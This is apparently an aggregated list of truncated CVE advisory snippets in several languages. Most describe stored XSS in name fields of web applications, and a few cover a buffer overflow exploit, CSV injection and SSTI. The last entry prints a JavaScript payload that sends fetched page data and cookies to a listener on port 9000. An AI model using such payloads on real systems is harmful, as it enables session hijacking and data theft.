CVE-2025-51398

漏洞标题：LiveHelperChat 5. 保存更改。 6. 当高权限用户（如操作员或管理员）访问或编辑 Facebook 页面集成时，该有效载荷会被存储并执行，从而导致存储型跨站脚本攻击（XSS）。...

CVE-2025-46173

CVE-2025-46173 - Cross-Site Scripting XSS Almacenado en Online Exam Mastering System 1.0 📌 Resumen CVE-2025-46173 es una vulnerabilidad de Cross-Site Scripting XSS Almacenado descubierta en Online Exam Mastering System 1.0 de code-projects. La vulnerabilidad existe en el componente feedback.php...

WebTareas 2.4p5 - Cross-Site Scripting

webtareas 2.4p5 was discovered to contain a cross-site scripting XSS vulnerability in the component /clients/listclients.php. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field. id: CVE-2022-44957 info: name: WebTareas...

CVE-2026-95165

Bacularis 5.4.0 - 6.5.1 is vulnerable to Cross Site Scripting XSS in the Organization name field...

CVE-2021-38699

CVE-2021-38699 TastyIgniter 3.0.7 在用户账户创建过程中通过 name 字段允许 XSS TastyIgniter v3.0.7 的多个页面存在存储型跨站脚本漏洞，允许任意执行 JavaScript。https://vulners.com/cve/CVE-2021-38699 受影响页面： /account, /reservation, /admin/dashboard, /admin/systemlogs 受影响载荷： “ 由 Justin White 和 Matt Kiely | HuskyHacks 发现，2021 年 8 月...

CVE-2023-39063

CVE-2023-39063 该仓库包含针对 RaidenFTPD v2.4.4005 软件中 CVE-2023-39063 漏洞的利用程序。该利用程序已创建为可与 Python 3 配合使用。 利用详情 Python 3 代码，用于利用 RaidenFTPD v2.4.4005 中基于 SEH 的缓冲区溢出漏洞。该漏洞允许本地攻击者通过逐步设置向导的“服务器名称”字段执行任意代码。 利用使用方法 1. 打开 RaidenFTPD 2. 点击 Setup - Step by step setup wizard 3. 运行 Python 代码：python3...

CVE-2023-33410

CVE-2023-33410 Minical 1.0.0 es vulnerable a la inyección CSV. Proveedor: https://github.com/minical/minical Aplicación de demostración: https://demo.minical.io/ PoC Paso 1: Navegue al módulo de Contabilidad y haga clic en Crear nuevo cliente. Paso 2: Introduzca el payload en el campo Nombre y ha...

CVE-2024-41301-Bookea-tu-Mesa-is-vulnerable-to-Stored-Cross-Site-Scripting

CVE-2024-41301 - Bookea-tu-Mesa 存在存储型跨站脚本漏洞 Bookea-tu-Mesa 容易受到存储型跨站脚本（XSS）漏洞的影响。此缺陷允许攻击者注入恶意脚本，这些脚本会在用户会话的上下文中执行。 复现步骤： 1. 访问 http://localhost/Bookea-tu-Mesa/index.php 2. 在“全名”字段中输入 "" 并提交。 3. 脚本执行，展示了 XSS 漏洞。 漏洞代码： 文件：insertreservation.php 第 11 行：$Fname = mysqlirealescapestring$conex,...

CVE-2022-24227-updated

CVE-2022-24227 已更新 - BoltWire v8.00 - 存储型跨站脚本攻击 XSS 描述 CVE-2022-24227 已更新 ：在 BoltWire CMS 的 8.00 版本 中，成员注册完成页面的 名 和 姓 字段同样容易受到存储型跨站脚本 XSS 攻击，就像 7.10 版本一样。此类攻击允许执行恶意脚本。 修复建议 对这些字段中的用户输入进行清理。 复现步骤： 1 创建一个新成员。 2 在下一页，系统会要求输入新成员的 名、姓 和 国家。在此，使用以下载荷填写 名： 和 姓：： 名： alertXSS 姓： alertdocument.cookie 3...

CVE-2023-43873-e107-CMS-Stored-XSS---Manage

e107 CMS XSS Almacenado v2.3.2 Autor: Sergio Descripción: Vulnerabilidad de Cross Site Scripting XSS en e017 CMS v.2.3.2 permite a un atacante local ejecutar código arbitrario mediante un script manipulado en el campo Name del Menú de Administración. Vectores de ataque: Scripting Una vulnerabilid...

CVE-2020-12629

Título: osTicket 1.14.1 - Cross-Site Scripting persistente autenticado Autor: Mehmet Kelepce / Gais Cyber Security Fecha : 2020-03-24 Enlace de origen: https://github.com/osticket/osticket/commit/fc4c8608fa122f38673b9dddcb8fef4a15a9c884 CVE: https://vulners.com/cve/CVE-2020-12629 Exploit-Db :...

CVE-2026-95165

Bacularis 5.4.0 - 6.5.1 is vulnerable to Cross Site Scripting XSS in the Organization name field...

CVE-2026-95165

Bacularis versions 5.4.0 through 6.5.1 are vulnerable to a Cross-Site Scripting (XSS) vulnerability. The flaw exists specifically within the Organization name field . No information regarding the root cause, practical impact, remediation, or available exploits is provided in the documents.

CVE-2025-25461

📌 CVE-2025-25461 - SeedDMS 6.0.29 存储型跨站脚本（XSS）漏洞 📝 描述 SeedDMS 6.0.29 中存在一个存储型跨站脚本（XSS）漏洞。 拥有 "添加分类" 权限的用户或恶意管理员可以向分类名称字段注入恶意 XSS 载荷。 当文档随后与该分类关联时，载荷会被存储在服务器上，并在未经过滤或输出编码的情况下渲染。 这导致任何查看文档的用户浏览器执行该 XSS 载荷。 🎯 受影响产品 软件： SeedDMS 版本： 6.0.29 组件： 分类名称字段 ⚠️ 影响 会话劫持 数据泄露 钓鱼攻击 远程代码执行（通过 JavaScript） 🔥...

CVE-2019-19658

CVE-2019-19658 Chevereto 在个人资料页面存储型XSS漏洞 - 1.0.0 - 1.1.4 Free， 注册用户向名称字段注入了一些脚本，在本例中用于将用户重定向到Google 有人进入 /test 的个人资料后被重定向...

CVE-2018-6905

安装与运行步骤 0. 安装 type3 $docker-compose up 1. 启动并安装 typo3 网页服务器 访问 http://web-server ip:port/typo3，忽略以下提示信息： Directory / is not writable Path /var/www/html/typo3 exists, but no file underneath it can be created. 2. 安装 typo3 进入容器中部署的 typo3 站点，继续进行安装。 MySQL 数据库主机名为 db。 3. typo3 XSS 注入...

Form-Tools-3.1.1-RCE

Form-Tools-3.1.1-RCE CVE-2024-22722 RCE a través de SSTI Automatización con Python. La vulnerabilidad de Server Side Template Injection SSTI en Form Tools 3.1.1 permite a los atacantes ejecutar comandos arbitrarios a través del campo Group Name en la sección de agregar formularios de la aplicació...

CVE-2024-57175

CVE-2024-57175: PHPGURUKUL 在线出生证明系统 v1.0 中的存储型跨站脚本（XSS）漏洞 描述 在 PHPGURUKUL 在线出生证明系统 v1.0 的 /user/certificate-form.php 页面中发现了一个存储型跨站脚本（XSS）漏洞。该漏洞允许经过身份验证的用户在个人资料名称字段中注入恶意的 XSS 脚本，从而导致客户端代码执行。 复现步骤（PoC） 1. 以经过身份验证的用户身份导航至易受攻击的 URL：/user/certificate-form.php。 2. 使用 XSS 负载修改个人资料名称，例如： html " 影响...

CVE-2025-50363_BXSS_CVE

项目名称和仓库URL: Maid Hiring Management System using PHP and MySQL 漏洞类型: 通过盲XSS进行特权提升 受影响版本:v1.0 💣漏洞描述: 在女佣招聘管理系统中发现了一个盲跨站脚本 XSS 漏洞，允许普通用户（如女佣或雇主）提升权限，并可能控制管理员账户。 👩‍💻影响: 完全接管管理员账户、访问敏感数据以及系统操纵。 🛜PoC（概念验证） 1. 在 mhms/maid-hiring.php 中，用户可以申请职位。 2. 填写表单，在姓名 字段中放入盲XSS payload，然后提交表单。 3. 当管理员查看申请时，盲XSS...

CVE-2025-26159

CVE-2025-26159 此脚本仅可用于已获得明确授权的授权环境。作者对因使用此脚本而产生的任何滥用、损害或后果概不负责。 该脚本解码、过滤并提取Cookie，作为利用CVE-2025-26159的一部分。 使用方法 要了解利用步骤，请查看我博客上的这篇文章。 go run CVE-2025-26159.go 在Laravel Starter的标签名字段中添加以下payload： fetch"/",credentials:"include".thenr=r.text.thend=location='//127.1:9000/d='+escaped...